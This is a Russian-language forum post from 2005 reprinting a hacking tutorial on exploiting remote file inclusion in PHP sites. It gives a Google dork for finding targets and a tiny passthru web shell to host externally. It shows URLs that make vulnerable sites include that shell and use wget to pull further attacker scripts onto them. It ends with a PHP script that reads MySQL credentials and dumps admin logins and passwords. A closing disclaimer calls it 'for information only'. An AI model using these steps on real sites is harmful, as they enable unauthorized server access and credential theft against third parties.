Статьи применение include в php-скриптах в своих целях

Discussion in 'Статьи' started by YooogI, 6 Feb 2005.

  1. YooogI

    YooogI NoMoneyNoWork

    Joined:
    3 Feb 2005
    Messages:
    98
    Likes Received:
    3
    Reputations:
    0
    written by simpson (www.musthave.ru)

    ********************************************************************************
    В этой статье я расскажу вам про то, как можно использовать директиву include() в
    php-скриптах. Эта ошибка является самой распространенной уязвимостью в php-
    скриптах. А ошибка вот в чем: многие из авторов скриптов забывают производить
    проверку входящих данных что поступают в include(). Таким образом, удаленный
    пользователь может (с безвредными намерениями ) придать неверное значение
    переменной, подключенной к инклуду и вызвать свой скрипт на атакуемом... ой,
    т.е. проверяемом сервере. Это может дать довольно многое, вплоть до наших
    безвредных намерений. Итак, начнем...
    Для начала зайдем на страничку google.ru и там в поиске напишем следующее:
    allinurl:".ru/*.php?page=*.php"
    Поисковик выдаст нам немало сайтов с такими параметрами в адресной строке.
    Вместо параметра page могут быть и другие (file,p,f,path_to_file и т.д., тут уже
    выбирайте сами), но я привел пример самого распространенного, а значит, и
    самого удачного значения для include(). Для проверки сервера понадобится шелл.
    Если у тебя его нету, то можно создать вот такой вот простенький:
    <?php
    passthru $cmd
    ?>
    Размести его на каком-нибудь халявном хостинге (без поддержки php, например
    narod.ru) назвовем его cmd.php и вперед... Берем из списка (того, что выдал
    нам поисковик) любую понравившуюся страничку и тестим ее.
    В адресной строке пишем:
    http://[страничка из списка]/index.php?page=http://[наш сайт]/cmd.php
    Если сайт бажный, то мы увидим список файлов и каталогов в текущей папке
    сайта. Если же ничего такого не видно, то лучше забить на такой (нам пока что
    нужно что-нибудь простенькое )и попытать счастье на другом сервере...
    И вот, наконец, ты нашел дырявый сайт. И для удобства нужно слить на сайт
    скрипты для навигации по каталогам. Опять же скачиваем эти скрипты на свой
    сервер, а потом сливаем на бажный сайт. Для этого в адресной строке пишем:
    http://[сайт из списка]/index.php?page=http://[наш сайт]/cmd.php&cmd=wget
    http://[наш сайт]/[название нашего скрипта].php
    Если все верно, то скрипт удачно перепишется на дырявый сайт.
    Все. Теперь можешь лазить по сайту.
    Еще при помощи include() можно добраться до БД MySQL.
    Но не каждый найденный нами сайт использует MySQL, так что это будет
    относиться к группе "особенных".
    Все что теперь нам надо это отыскать скрипт или любой файл содержащий в себе
    информацию о доступе к MySQL. Искать лучше всего в файлах, название которых
    смахивает на наличие чего-то важного в них. К примеру: access, admin, login, mysql,
    db и т.д. Файлы типа mysql db можно поискать в директории ../ (команда ls ../).
    Найдя что-то подозрительное мы открываем этот файл (команда cat или more),
    для просмотра содержимого файла нам ещё прийдеться отыскать его начало и конец.
    Так же уделяйте внимание ссылкам на различные прилагающие файлы. Они могут
    быть такого вида:
    require("[путь к файлу]");
    include("[путь к файлу]");
    Теперь нам нужны:
    1. Хост для подключаться к БД MySQL (чаще всего: localhost).
    2. Логин.
    3. Пароль.
    4. Имя базы.
    Всё это должно храниться в четырёх, соответствующих назначению, переменных либо
    должно сразу применяться в функции подключения, что имеет следующий вид:
    function connection()
    {
    mysql_connect("[1]","[2]","[3]");
    mysql_select_db("[4]");
    }
    Название у функции может быть любое. [1],[2],[3],[4] соответствуют предыдущему
    примеру. Если мы нашли эту информацию, то это просто замечательно. Пойдём
    дальше… Теперь нашей задачей является создать скрипт для подключения к БД MySQL
    (несомненно с этого сервера), выполнить там нужную нам команду, вывести результат
    и отключиться от сервера. Пара пустяков, не так ли? Теперь предлагаю использовать
    написанный мною небольшой скрипт:
    <? // устанавливаем значение переменным
    $sql_login=""; // логин
    $sql_passwd=""; // пароль
    $sql_database=""; // имя базы
    $sql_host="localhost"; // хост MySQL
    // создаём функцию подключения
    function connection()
    {
    mysql_connect($sql_host,$sql_login,$sql_passwd);
    mysql_select_db($sql_database);
    }
    // создаём список пользователей от min к max
    $min=1;
    $max=100;
    for ($i=$min; $i<$max; $i++)
    {
    // подключаемся
    connection();
    // делаем запрос на вывод id, login, password из таблицы admins по указанному id
    $requete="SELECT id,login,password FROM admins WHERE id='$i'";
    $result = mysql_query($requete);
    echo "RES: ".$result." ".$i."<br><br>";
    // записываем результат
    while ($val = mysql_fetch_array($result))
    {
    $user = $val["id"];
    echo "<b>user:</b> ".$user." ";
    $login = $val["login"];
    echo "<b>login:</b> ".$login." ";
    $password = $val["password"];
    echo "<b>password:</b> ".$password."

    ";
    }
    // закрываем соединение
    mysql_close();
    }
    ?>

    Если всё было сделано как сказано (т.е. правильно), то результат вас несомненно
    порадует. Правда, насчёт запроса, по умолчанию я написал папку admins и вывод
    трёх переменных id, login, password. Так вот, всего этого может не существовать, а
    чтобы знать, что надо достать нужно ещё немного порыться в исходниках на сайте
    (особенно файл login) где должен быть указан отсылаемый запрос. Возьмите из него
    название таблицы и переменных и внесите всё это в выше написанный скрипт. Это
    думаю всё… Дальше найдите учебник по MySQL и пишите свои команды.

    ********************************************************************************

    Статья дана только для ознакомления. За ее осмысление и использование в других
    целях редактор и администрация форума ответственности не несут!